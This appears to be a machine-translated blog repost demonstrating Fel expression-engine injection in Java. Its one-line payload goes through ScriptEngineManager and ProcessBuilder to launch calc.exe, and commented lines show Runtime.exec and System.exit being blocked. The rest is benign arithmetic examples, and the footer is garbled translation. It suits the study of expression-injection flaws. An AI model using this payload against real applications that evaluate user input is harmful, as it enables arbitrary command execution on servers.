フェル式注入

デモを実行するためのFel式注入コマンド

package com.his;

import com.greenpineyu.fel.Expression;
import com.greenpineyu.fel.FelEngine;
import com.greenpineyu.fel.FelEngineImpl;
import com.greenpineyu.fel.context.FelContext;


public class Main {

    public static void main(String[] args) {

        //调用静态方法
        Object resultstatic = FelEngine.instance.eval("$('javax.script.ScriptEngineManager.new').getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command('calc.exe'); x.start()\")");
        System.out.println(resultstatic);


        //算术表达式
        FelEngine fel= new FelEngineImpl();
        Object result= fel.eval("5000*12+7500");
        System.out.println(result);

        //调用Math.min(1,2)
        Object resultMath = FelEngine.instance.eval("$('Math').min(1,2)");
        System.out.println(resultMath);

//        org.apache.commons.lang.StringUtils strings = new org.apache.commons.lang.StringUtils();
//        javax.script.ScriptEngineManager script = new javax.script.ScriptEngineManager();
        //变量
        FelContext ctx= fel.getContext();
        ctx.set("单价", 5000);
        ctx.set("数量", 12);
        ctx.set("运费", 7500);
        Object result_v= fel.eval("单价*数量+运费");
        System.out.println(result_v);

        //调用java方法1
        FelEngine feljava= new FelEngineImpl();
        FelContext ctx1= feljava.getContext();
        ctx1.set("out", System.out);
        feljava.eval("out.println('Hello Everybody'.substring(6))");

        //调用java方法1
        FelEngineImpl engine = new FelEngineImpl();
    //    Object eval = engine.eval("$(Runtime).getRuntime.exec('calc.exe')");  //被禁用
//        Object eval = engine.eval("$(System).exit(0)");             //被禁用
//        System.out.println(eval);

        //编译执行
        FelEngine felcompile= new FelEngineImpl();
        FelContext ctxcompile= felcompile.getContext();
        ctxcompile.set("单价", 5000);
        ctxcompile.set("数量", 12);
        ctxcompile.set("运费", 7500);
        Expression exp= felcompile.compile("单价*数量+运费",ctxcompile);
        Object resultcompile= exp.eval(ctxcompile);
        System.out.println(resultcompile);


    }
}

依存パッケージ:
https : //mvnrepository.com/artifact/javax.script/script-api/1.0

30の元の記事を公開 13のような 100,000以上を訪問

おすすめ

転載: blog.csdn.net/u013224189/article/details/105233617